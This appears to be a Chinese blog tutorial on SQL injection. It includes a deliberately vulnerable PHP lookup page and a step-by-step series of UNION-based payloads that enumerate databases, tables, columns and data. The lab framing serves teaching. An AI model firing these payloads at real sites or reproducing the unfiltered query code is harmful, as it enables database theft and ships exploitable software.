sql注入原理

0x01sql注入原理

  • sql注入漏洞产生的原理是因为服务器对用户输入参数过滤不严格,将含有恶意代码的参数代入数据库查询语句中并执行。

0x02sql注入中常用的函数与语法

  • Group_concat():将select的查询结果全部显示出来,占一个显示位
  • select version():查询MySQL版本
  • select user():查询数据库用户名
  • select database():查询数据库名
  • select @@datadir():查询数据库的绝对路径
  • select @@version_compile_os:查询操作系统版本
  • select current_user():查询当前用户
  • Order by: 找列的数量
  • Union select:联合查询(联合查询的条件是前一条语句查询不到且字段数与前一条语句的查询字段数一致)
  • limit:限制显示个数(如:limit 0 2 表示从第一个开始显示两个)

0x03sql注入实例

  • 环境:win7+phpstudy
  • 部分代码实现(文件保存为sql.php)
<?php 
            error_reporting(0);
            $id = $_GET['id'];
            $con = mysql_connect('localhost','root','root');
            if(!$con){
                die('mysql connect failed');
            }
            mysql_select_db('test',$con) or die('failed to connect db');
            $sql = "SELECT * FROM users WHERE id='{$id}'";
            $result = mysql_query($sql);
            if ($row = mysql_fetch_array($result)) {
                echo "
                    姓名:$row[1] 绰号:$row[2]
                ";
            }else{
                echo mysql_error();
            }
            mysql_close($con);
         ?>
  • 数据库代码
create database test;   //创建数据库test
create table users(id int,name varchar(10),nicheng varchar(15));     //创建users表
insert into users values(1,'haha','haha');
insert into users values(2,'xixi','xixi');    //插入数据

如图

  • 打开phpstudy,访问sql.php
    这里写图片描述

  • 输入正确的ID,能够查询出数据
    这里写图片描述

  • 检测是否存在注入

数字型:and 1=1;and 1=2 判断是否存在注入
字符型:' and '1'='1 ' and '1'='2
搜索型: 关键字%' and 1=1 and '%'='% ; 关键字%' and 1=2 and '%'='%

这里写图片描述

  • 通过源代码我们可以知道这里对传入的ID没有做任何过滤所以可以开始构造恶意语句
?id=1' order by 3  --+    //判断字段数

这里写图片描述
这里写图片描述

?id=-1' union select 1,2,3 --+      //判断显示位

这里写图片描述

?id=-1' union selece 1,version(),3 --+     //判断数据库版本;在5.x后数据库包含information_schema库(里面包含了所有数据库的名字、表名和列名)

这里写图片描述

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+  
或
?id=-1' union select 1,(select schema_name from information_schema.schemata limit 0,1),3 --+        //爆库
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),3 --+                   //爆表
?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),3 --+          //爆字段
?id=-1' union select 1,(select 字段 from 数据库.表 limit 0,1),3 --+          //爆数据

0x04总结

SQL注入实质就是闭合前一句查询语句,构造恶意语句,恶意语句被代入SQL语句执行。

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值